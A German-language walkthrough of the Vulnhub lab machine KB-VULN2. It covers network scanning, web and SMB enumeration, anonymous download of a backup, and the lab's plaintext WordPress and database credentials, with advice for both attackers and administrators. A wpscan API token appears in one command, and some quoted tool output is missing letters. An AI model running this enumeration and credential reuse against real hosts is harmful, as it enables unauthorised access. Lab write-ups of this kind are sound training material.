KB-VULN2 - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
enum4linux
smbclient
unzip
head
wpscan
cat
nc (netcat)
find
ls
cd
ssh
sudo

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase ist der erste Schritt im Pentesting-Prozess. Ziel ist es, so viele Informationen wie möglich über das Zielsystem zu sammeln, ohne es direkt aktiv anzugreifen. Dies umfasst das Identifizieren aktiver Hosts im Netzwerk und das Sammeln von Basisinformationen über diese Hosts.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.130	08:00:27:97:01:5b	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (Layer 2) nach aktiven Geräten zu durchsuchen. ARP (Address Resolution Protocol) wird normalerweise verwendet, um IP-Adressen MAC-Adressen zuzuordnen. `arp-scan` sendet ARP-Anfragen an alle möglichen IP-Adressen im lokalen Subnetz und listet die Geräte auf, die antworten.
**Bewertung:** Wir haben erfolgreich einen Host mit der IP-Adresse `192.168.2.130` identifiziert. Die MAC-Adresse `08:00:27:97:01:5b` gehört laut Datenbank zu "PCS Systemtechnik GmbH", was oft ein Hinweis auf eine VirtualBox-Instanz ist (Oracle verwendet diesen OUI-Bereich für VirtualBox). Dies ist unser Zielsystem.
**Empfehlung (Pentester):** Das Ziel wurde identifiziert. Der nächste Schritt ist die detailliertere Untersuchung dieses spezifischen Hosts.
**Empfehlung (Admin):** Netzwerk-Monitoring-Systeme können ungewöhnliche ARP-Scan-Aktivitäten erkennen. Segmentierung des Netzwerks kann die Reichweite solcher Scans einschränken. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
192.168.2.130	kb-vuln.vln
                    

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. In diese Datei wurde der Eintrag `192.168.2.130 kb-vuln.vln` hinzugefügt. Die Hosts-Datei wird vom Betriebssystem verwendet, um Hostnamen direkt IP-Adressen zuzuordnen, ohne einen DNS-Server abfragen zu müssen.
**Bewertung:** Dies ist ein vorbereitender Schritt, um das Zielsystem unter dem Hostnamen `kb-vuln.vln` ansprechen zu können. Viele Webanwendungen und Dienste sind so konfiguriert, dass sie nur auf Anfragen für einen bestimmten Hostnamen reagieren. Durch diesen Eintrag können wir sicherstellen, dass unsere Anfragen korrekt verarbeitet werden.
**Empfehlung (Pentester):** Immer die Hosts-Datei anpassen, wenn ein spezifischer Hostname für den Zugriff auf Webdienste oder andere Services erforderlich ist. Dies vermeidet Probleme bei virtuellen Hosts oder Konfigurationen, die auf Hostnamen basieren.
**Empfehlung (Admin):** Dies ist eine lokale Konfiguration auf dem Angreifer-Rechner und hat keine direkte Auswirkung auf das Zielsystem. Es verdeutlicht jedoch, wie Angreifer lokale Einstellungen anpassen, um Zielsysteme effektiv anzugreifen.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.130 -p- | grep open
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open  etbios-   Samba smbd 4.7.6-Ubuntu (workgroup: WRKGRUP)
                    

**Analyse:** Dieser Nmap-Befehl führt einen schnellen Scan durch, um offene TCP-Ports zu identifizieren.

**Bewertung:** Der Scan identifiziert fünf offene TCP-Ports: 21 (FTP), 22 (SSH), 80 (HTTP), 139 (NetBIOS) und 445 (SMB). Die Dienste dahinter sind vsftpd, OpenSSH, Apache und Samba. Diese Dienste stellen potenzielle Angriffsvektoren dar. Die Versionsinformationen sind entscheidend für die Suche nach bekannten Schwachstellen.
**Empfehlung (Pentester):** Die identifizierten Dienste sollten nun einzeln genauer untersucht werden (Enumeration). FTP auf anonymen Zugriff prüfen, SSH auf schwache Passwörter, HTTP auf Webanwendungs-Schwachstellen und SMB auf Fehlkonfigurationen oder offene Shares.
**Empfehlung (Admin):** Überprüfen, ob alle offenen Ports und Dienste notwendig sind. Dienste, die nicht benötigt werden, sollten deaktiviert oder durch eine Firewall blockiert werden. Software aktuell halten (z.B. vsftpd 3.0.3, OpenSSH 7.6p1, Apache 2.4.29, Samba 4.7.6 haben bekannte Schwachstellen, je nach Patchlevel). SMB-Signing sollte aktiviert werden (`message_signing: disabled (dangerous, but default)` wurde im vollständigen Scan gefunden).

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.130 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-25 22:50 CEST
Nmap scan report for kb-vuln.vln (192.168.2.130)
Host is up (0.00013s latency).
Not shown: 65530 closed tcp ports (reset)
PRT    STATE SERVICE     VERSIN
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 5e:99:01:23:fe:c4:84:ef:14:55:87:da:a3:30:6f:50 (RSA)
|   256 cb:8e:e1:b3:3a:6e:64:9e:0f:53:39:7e:18:9d:8b:3f (ECDSA)
|_  256 ec:3b:d9:53:4a:5a:f7:32:f2:3a:f7:a7:6f:31:87:52 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open  EDtb        Samba smbd 4.7.6-Ubuntu (workgroup: WRKGRUP)
MAC Address: 08:00:27:97:01:5B (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: UBUNTU; Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
|   date: 2023-09-25T20:50:27
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIS name: UBUNTU, NetBIS user: , NetBIS MAC:  (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
| smb-os-discovery:
|   S: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: kb-server
|   NetBIS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: kb-server
|_  System time: 2023-09-25T20:50:27+00:00

TRACERUTE
HP RTT     ADDRESS
1   0.13 ms kb-vuln.vln (192.168.2.130)
                    

**Analyse:** Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans (ohne `| grep open`). Sie liefert wesentlich detailliertere Informationen.

**Bewertung:** Die vollständige Ausgabe bestätigt die offenen Ports und Dienste und liefert wichtige Details, insbesondere zu Samba. Die Deaktivierung von SMB Message Signing ist ein signifikantes Sicherheitsrisiko. Der mögliche Gastzugang und die spezifischen Versionen der Dienste sind wichtige Ansatzpunkte für die nächste Phase.
**Empfehlung (Pentester):** Priorisieren der Untersuchung von SMB aufgrund des deaktivierten Signings und des potenziellen Gastzugangs. Den Webserver (Port 80) auf Verzeichnisse und Anwendungen untersuchen. FTP auf anonymen Login testen. SSH für spätere Brute-Force-Versuche vormerken, falls Benutzer gefunden werden.
**Empfehlung (Admin):** SMB Message Signing dringend aktivieren (`server signing = mandatory` in `smb.conf`). Gastzugriff auf SMB-Shares deaktivieren, falls nicht absolut notwendig. Alle Dienste auf die neuesten stabilen Versionen aktualisieren und nicht benötigte Dienste deaktivieren. Überwachen der Logs auf fehlgeschlagene Login-Versuche (SSH, FTP, SMB).

Web Enumeration

Nachdem ein Webserver (HTTP auf Port 80) identifiziert wurde, konzentriert sich diese Phase darauf, die Webanwendung(en) genauer zu untersuchen. Ziele sind das Finden von versteckten Verzeichnissen, Dateien, Konfigurationsproblemen und potenziellen Schwachstellen in der Webanwendung selbst.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h http://kb-vuln.vln
- Nikto v2.5.0
+ Target IP:          192.168.2.130
+ Target Hostname:    kb-vuln.vln
+ Target Port:        80
+ Start Time:         2023-09-25 22:50:38 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5af6a75f71df8, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 7963 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-09-25 22:51:11 (GMT2) (33 seconds)
+ 1 host(s) tested
                    

**Analyse:** `nikto` ist ein Webserver-Scanner, der auf bekannte gefährliche Dateien/CGIs, veraltete Softwareversionen und spezifische Serverprobleme prüft.

Die Ausgabe zeigt mehrere interessante Punkte: **Bewertung:** Nikto hat erfolgreich eine WordPress-Installation im Verzeichnis `/wordpress` identifiziert. Mehrere Konfigurationsprobleme wurden aufgedeckt, darunter fehlende Sicherheitsheader und eine veraltete Apache-Version. Das wichtigste Ergebnis ist die Entdeckung von WordPress und der Hinweis auf eine browsable Uploads-Directory, was oft sensible Informationen preisgibt oder das Hochladen von Schadcode ermöglicht.
**Empfehlung (Pentester):** Fokussiere die weitere Untersuchung auf die WordPress-Installation unter `http://kb-vuln.vln/wordpress/`. Verwende WordPress-spezifische Scanner wie `wpscan`, um Themes, Plugins und Benutzer zu enumerieren. Untersuche das `/wp-content/uploads/`-Verzeichnis manuell.
**Empfehlung (Admin):** Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) implementieren. Apache auf die neueste Version aktualisieren. Verzeichnisauflistung deaktivieren (z.B. `Options -Indexes` in der Apache-Konfiguration). WordPress und alle Plugins/Themes aktuell halten. Zugriff auf Standarddateien wie `/icons/README` einschränken. Sicherstellen, dass Cookies mit `HttpOnly` und `Secure` Flags gesetzt werden.

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://kb-vuln.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://kb-vuln.vln/index.html           (Status: 200) [Size: 10918]
http://kb-vuln.vln/wordpress            (Status: 301) [Size: 314] [--> http://kb-vuln.vln/wordpress/]
                    

**Analyse:** `gobuster` ist ein Tool zur Brute-Force-Suche nach Verzeichnissen und Dateien auf Webservern.

**Bewertung:** Gobuster bestätigt die Funde von Nikto. Es findet die Standard-Apache-Seite (`index.html`) und das Verzeichnis `/wordpress`. Der Statuscode `301` für `/wordpress` bedeutet eine permanente Weiterleitung auf `/wordpress/` (mit Schrägstrich am Ende), was typisch für Verzeichnisse ist. Es wurden keine weiteren versteckten Verzeichnisse oder relevanten Dateien auf der Hauptebene gefunden.
**Empfehlung (Pentester):** Da Gobuster auf der Hauptebene keine weiteren relevanten Pfade gefunden hat, sollte ein weiterer Gobuster-Scan gezielt auf das `/wordpress`-Verzeichnis durchgeführt werden, um dort nach spezifischen WordPress-Dateien oder -Verzeichnissen zu suchen.
**Empfehlung (Admin):** Verwenden Sie möglichst unvorhersehbare Namen für sensible Verzeichnisse oder Dateien. Implementieren Sie Rate-Limiting oder Web Application Firewalls (WAFs), um Brute-Force-Scans wie die von Gobuster zu erkennen und zu blockieren. Überwachen Sie Server-Logs auf eine hohe Anzahl von 404-Fehlern, die auf Directory-Scanning-Versuche hindeuten können.

Initial Access

In dieser Phase versuchen wir, den ersten Zugriff auf das System zu erlangen. Basierend auf den Ergebnissen der Reconnaissance und Enumeration konzentrieren wir uns auf die vielversprechendsten Angriffsvektoren, wie z.B. offene SMB-Shares, Webanwendungs-Schwachstellen oder schwache Anmeldeinformationen.

┌──(root㉿Cybermaschine)-[~]
└─# enum4linux -a 192.168.2.130
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Sep 25 22:50:55 2023

 =( Target Information )=

Target ........... 192.168.2.130
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =( Enumerating Workgroup/Domain on 192.168.2.130 )=


[+] Got domain/workgroup name: WRKGRUP




[+] Got S info for 192.168.2.130 from srvinfo:
	UBUNTU         Wk Sv PrQ Unx NT SNT Samba Server 4.7.6-Ubuntu
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


	Sharename       Type      Comment
	       -      -
	Anonymous       Disk      PEN YUR EYES!
	IPC$            IPC       IPC Service (Samba Server 4.7.6-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	            -

	Workgroup            Master
	            -
	WRKGRUP

[+] Attempting to map shares on 192.168.2.130

//192.168.2.130/Anonymous	Mapping: K Listing: K Writing: N/A

[E] Can't understand response:

NT_STATUS_BJECT_NAME_NT_FUND listing \*
//192.168.2.130/IPC$	Mapping: N/A Listing: N/A Writing: N/A

S-1-5-21-411933958-501027151-1850573978-501 UBUNTU\nobody (Local User)
S-1-5-21-411933958-501027151-1850573978-513 UBUNTU\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account perators (Local Group)
S-1-5-32-549 BUILTIN\Server perators (Local Group)
S-1-5-32-550 BUILTIN\Print perators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kbadmin (Local User)
                    

**Analyse:** `enum4linux` ist ein Tool zur Enumeration von Informationen aus Windows- und Samba-Systemen.

Die wichtigsten Ergebnisse sind: **Bewertung:** `enum4linux` hat eine offen zugängliche SMB-Freigabe namens `Anonymous` und einen potenziellen Benutzernamen `kbadmin` aufgedeckt. Die `Anonymous`-Freigabe ist der offensichtlichste nächste Schritt, da sie wahrscheinlich interessante Dateien enthält (basierend auf dem Kommentar). Der Benutzername `kbadmin` ist wertvoll für spätere Angriffsversuche (z.B. SSH-Brute-Force).
**Empfehlung (Pentester):** Verbinde dich mit der `Anonymous`-Freigabe mithilfe von `smbclient` und untersuche deren Inhalt. Behalte den Benutzernamen `kbadmin` im Hinterkopf.
**Empfehlung (Admin):** Deaktiviere anonyme/Gast-Zugriffe auf SMB-Freigaben (`guest ok = no` in `smb.conf`). Beschränke den Zugriff auf Freigaben auf autorisierte Benutzer und Gruppen. Vermeide aussagekräftige Kommentare in Freigabenamen. Konfiguriere Samba so, dass Benutzerlisten nicht anonym enumeriert werden können (`enable rid enumeration = no` - obwohl dies oft umgangen werden kann).

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.130/Anonymous -L
Password for [WRKGRUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Sep 17 12:58:56 2020
  ..                                  D        0  Wed Sep 16 12:36:09 2020
  backup.zip                          N 16735117  Thu Sep 17 12:58:56 2020

		14380040 blocks of size 1024. 8451852 blocks available
smb: \> get backup.zip
getting file \backup.zip of size 16735117 as backup.zip (154178,0 KiloBytes/sec) (average 154178,2 KiloBytes/sec)
smb: \>
                    

**Analyse:** Der Befehl `smbclient` wird verwendet, um auf SMB/CIFS-Freigaben zuzugreifen.

Nach erfolgreicher anonymer Verbindung wurden folgende Befehle innerhalb des `smbclient`-Prompts (`smb: \>`) ausgeführt: **Bewertung:** Der anonyme Zugriff auf die `Anonymous`-Freigabe war erfolgreich. Eine vielversprechende Datei, `backup.zip` (ca. 16 MB groß), wurde gefunden und heruntergeladen. ZIP-Dateien enthalten oft sensible Informationen, Konfigurationsdateien oder Backups.
**Empfehlung (Pentester):** Entpacke die heruntergeladene `backup.zip`-Datei und analysiere ihren Inhalt gründlich auf Passwörter, Konfigurationsdateien, Quellcode oder andere nützliche Informationen.
**Empfehlung (Admin):** Erneut: Deaktiviere anonymen Zugriff auf SMB-Freigaben. Stelle sicher, dass keine sensiblen Daten oder Backups in öffentlich zugänglichen Freigaben gespeichert werden. Implementiere Dateizugriffskontrollen (ACLs) auf Freigaben und Verzeichnissen.

┌──(root㉿Cybermaschine)-[~]
└─# unzip backup.zip
  inflating: wordpress/wp-admin/maint/repair.php
  inflating: wordpress/wp-admin/privacy-policy-guide.php
  inflating: wordpress/wp-admin/media-new.php
  inflating: wordpress/wp-login.php
  inflating: wordpress/wp-load.php
 extracting: remember_me.txt
                    

**Analyse:** Der Befehl `unzip backup.zip` entpackt den Inhalt der zuvor heruntergeladenen ZIP-Datei.
**Bewertung:** Die ZIP-Datei scheint ein Backup einer WordPress-Installation zu enthalten (`wordpress/` Verzeichnisstruktur). Besonders interessant ist die Extraktion einer Datei namens `remember_me.txt` direkt im Stammverzeichnis des Archives. Der Name legt nahe, dass sie möglicherweise Anmeldeinformationen enthält.
**Empfehlung (Pentester):** Untersuche den Inhalt der extrahierten Dateien, insbesondere `remember_me.txt` und die WordPress-Konfigurationsdatei (`wp-config.php`, falls vorhanden), auf Anmeldeinformationen oder andere sensible Daten.
**Empfehlung (Admin):** Backups sollten niemals sensible Dateien wie Klartext-Passwörter enthalten. Wenn Passwörter gespeichert werden müssen, sollten sie sicher verschlüsselt sein. Backups sollten sicher aufbewahrt und nicht über unsichere Kanäle wie offene SMB-Freigaben zugänglich gemacht werden. Regelmäßige Überprüfung der Backup-Inhalte auf sensible Daten.

┌──(root㉿Cybermaschine)-[~]
└─# ll
insgesamt 167036
-rw-r--r-- 1 root root  16735117 25. Sep 22:53 backup.zip
-rw-r--r-- 1 root root        46 25. Sep 22:41 hash
-rw-r--r-- 1 root root 154292636 25. Sep 22:39 hydra.restore
-rw-r--r-- 1 root root        38 16. Sep 2020  remember_me.txt
drwxr-xr-x 6 root root      4096 16. Sep 2020  wordpress
                    

**Analyse:** Der Befehl `ll` ist ein Alias für `ls -l` oder eine ähnliche Variante und listet den Inhalt des aktuellen Verzeichnisses im Langformat auf.
**Bewertung:** Diese Ausgabe zeigt die Dateien im lokalen Verzeichnis des Angreifers nach dem Entpacken. Wir sehen die ursprüngliche `backup.zip`, die extrahierte `remember_me.txt` und das `wordpress`-Verzeichnis. Die Dateien `hash` und `hydra.restore` scheinen aus früheren, nicht gezeigten Aktivitäten zu stammen (möglicherweise Passwort-Cracking-Versuche). Für den aktuellen Schritt ist `remember_me.txt` und das `wordpress`-Verzeichnis relevant.
**Empfehlung (Pentester):** Fokussiere dich auf die Analyse von `remember_me.txt` und des `wordpress`-Verzeichnisses, insbesondere der `wp-config.php`.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich, da dies auf dem Angreifer-System stattfindet.

┌──(root㉿Cybermaschine)-[~/wordpress]
└─# head wp-config.php -n 30
define( 'DB_NAME', 'wordpress_db' );

/ MySQL database username */
define( 'DB_USER', 'kb_vuln' );

/ MySQL database password */
define( 'DB_PASSWRD', 'hellelujah' );
                    

**Analyse:** Der Befehl `head wp-config.php -n 30` zeigt die ersten 30 Zeilen der Datei `wp-config.php` an, die sich im zuvor extrahierten `wordpress`-Verzeichnis befindet. Diese Datei ist die Hauptkonfigurationsdatei für WordPress.
**Bewertung:** Volltreffer! Die `wp-config.php` enthält die Zugangsdaten zur MySQL-Datenbank im Klartext:

Diese Zugangsdaten sind extrem wertvoll. Sie könnten für den Zugriff auf die Datenbank selbst verwendet werden oder, falls das Passwort wiederverwendet wurde, auch für andere Dienste (wie SSH oder den WordPress-Admin-Login).
**Empfehlung (Pentester):** Versuche, dich mit diesen Zugangsdaten (`kb_vuln` / `hellelujah`) bei anderen Diensten anzumelden, insbesondere SSH und dem WordPress-Adminpanel. Versuche auch, eine Verbindung zur MySQL-Datenbank herzustellen, falls diese von außen erreichbar ist (was Nmap nicht gezeigt hat, also wahrscheinlich nicht direkt möglich).
**Empfehlung (Admin):** Speichere niemals Klartext-Passwörter in Konfigurationsdateien, wenn es vermeidbar ist. Beschränke die Dateiberechtigungen für `wp-config.php` so weit wie möglich (z.B. `chmod 600 wp-config.php`). Verwende separate, starke und einzigartige Passwörter für Datenbankbenutzer. Erwäge das Speichern von Datenbank-Credentials außerhalb des Web-Roots oder in Umgebungsvariablen. Stelle sicher, dass Datenbanken nicht von außen erreichbar sind, es sei denn, dies ist unbedingt erforderlich und entsprechend abgesichert. Verhindere, dass Konfigurationsdateien in Backups landen, die unsicher gespeichert werden.

┌──(root㉿Cybermaschine)-[~/wordpress]
└─# head wp-json.php -n 30
{"name":"KB-VULN2",
"description":"Just another WordPress site",
"url":"http:\/\/kb.vuln\/wordpress",
"home":"http:\/\/kb.vuln\/wordpress",
"gmt_offset":"0",
"timezone_string":"",
"namespaces":["oembed\/1.0",
"wp\/v2"],
"authentication":[],
{"id":1,"name":"admin",
"url":"http:\/\/192.168.42.25\/wordpress",
"description":"",
"link":"http:\/\/kb.vuln\/wordpress\/index.php\/author\/admin\/",
"slug":"admin",
"avatar_urls":{"24":"http:\/\/1.gravatar.com\/avatar\/7a5fd553df70c9fffb2529dd945cd1eb?s=24&d=mm&r=g",
"48":"http:\/\/1.gravatar.com\/avatar\/7a5fd553df70c9fffb2529dd945cd1eb?s=48&d=mm&r=g",
"96":"http:\/\/1.gravatar.com\/avatar\/7a5fd553df70c9fffb2529dd945cd1eb?s=96&d=mm&r=g"},
"meta":[],
"_links":{"self":[{"href":"http:\/\/kb.vuln\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/1"}],
"collection":[{"href":"http:\/\/kb.vuln\/wordpress\/index.php\/wp-json\/wp\/v2\/users"}]}}
                    

**Analyse:** Der Befehl `head wp-json.php -n 30` zeigt die ersten 30 Zeilen einer Datei namens `wp-json.php`. Der Inhalt ist jedoch kein PHP-Code, sondern JSON-Daten, die typischerweise über die WordPress REST API unter dem Endpunkt `/wp-json/` abgerufen werden. Es ist unklar, warum diese Daten in einer Datei namens `wp-json.php` gespeichert sind, möglicherweise ein Überbleibsel oder Teil des Backups.
**Bewertung:** Die JSON-Daten enthalten Informationen über die WordPress-Seite selbst und, was noch wichtiger ist, sie enthüllen einen Benutzernamen: `admin` (ID 1). Dies bestätigt den Standard-Administratornamen für WordPress. Die URL `http://192.168.42.25/wordpress` im JSON ist interessant, könnte aber eine alte oder interne Konfiguration sein.
**Empfehlung (Pentester):** Der Benutzername `admin` ist nun bestätigt. Versuche, diesen Namen in Kombination mit gefundenen oder geratenen Passwörtern (wie `hellelujah`) für den WordPress-Login zu verwenden.
**Empfehlung (Admin):** Vermeide die Verwendung des Standard-Benutzernamens `admin` für WordPress-Administratorkonten. Ändere ihn in einen schwerer zu erratenden Namen. Beschränke den Zugriff auf die WordPress REST API, insbesondere auf Benutzerendpunkte (`/wp-json/wp/v2/users`), falls nicht öffentlich benötigt. Überprüfe regelmäßig den Inhalt von Backups auf unerwartete oder veraltete Informationen.

┌──(root㉿Cybermaschine)-[~]
└─# wpscan --url http://kb.vuln/wordpress/ --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.24
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://kb.vuln/wordpress/ [192.168.2.130]
[+] Started: Mon Sep 25 23:03:02 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://kb.vuln/wordpress/xmlrpc.php
 | Found By: Link Tag (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://kb.vuln/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://kb.vuln/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 23

[+] Finished: Mon Sep 25 23:03:04 2023
[+] Requests Done: 25
[+] Cached Requests: 38
[+] Data Sent: 6.841 KB
[+] Data Received: 43.146 KB
[+] Memory used: 152.406 MB
                    

**Analyse:** `wpscan` ist ein spezialisierter Scanner für WordPress-Seiten.

Die Ergebnisse bestätigen frühere Funde und fügen Details hinzu: **Bewertung:** `wpscan` bestätigt erneut den Benutzernamen `admin` und weist auf das aktivierte XML-RPC-Interface als potenzielles Risiko hin. Die Benutzer-Enumeration war erfolgreich.
**Empfehlung (Pentester):** Der Benutzername `admin` ist nun mehrfach bestätigt. Der nächste logische Schritt ist, das Passwort aus `remember_me.txt` für diesen Benutzer auszuprobieren.
**Empfehlung (Admin):** Deaktiviere XML-RPC, wenn es nicht benötigt wird (viele Plugins oder externe Dienste nutzen es jedoch). Wenn es benötigt wird, schütze es z.B. durch Fail2Ban oder eine WAF. Verhindere Benutzer-Enumeration, indem du z.B. die REST API einschränkst und Themes/Plugins verwendest, die keine Benutzernamen preisgeben. Entferne die `readme.html`-Datei.

┌──(root㉿Cybermaschine)-[~]
└─# cat remember_me.txt
Username:admin
Password:MachineBoy141
                    

**Analyse:** Der Befehl `cat remember_me.txt` zeigt den Inhalt der zuvor extrahierten Textdatei an.
**Bewertung:** Jackpot! Die Datei enthält Klartext-Anmeldeinformationen:

Diese Zugangsdaten scheinen für den zuvor identifizierten WordPress-Benutzer `admin` bestimmt zu sein. Es besteht auch die Möglichkeit, dass dieses Passwort für den via `enum4linux` gefundenen Systembenutzer `kbadmin` wiederverwendet wurde.
**Empfehlung (Pentester):** Versuche sofort, dich mit diesen Zugangsdaten (`admin` / `MachineBoy141`) beim WordPress-Adminpanel (`http://kb.vuln/wordpress/wp-login.php`) anzumelden. Versuche anschließend auch, dich per SSH als Benutzer `kbadmin` mit demselben Passwort (`MachineBoy141`) anzumelden.
**Empfehlung (Admin):** Speichere niemals Passwörter im Klartext! Verwende starke, einzigartige Passwörter für alle Konten. Schulen Sie Benutzer darin, Passwörter sicher zu handhaben und nicht in unsicheren Dateien zu speichern. Implementieren Sie Richtlinien zur Passwortkomplexität und regelmäßigen Änderung. Suchen Sie proaktiv nach Klartext-Passwörtern in Systemen und Backups.

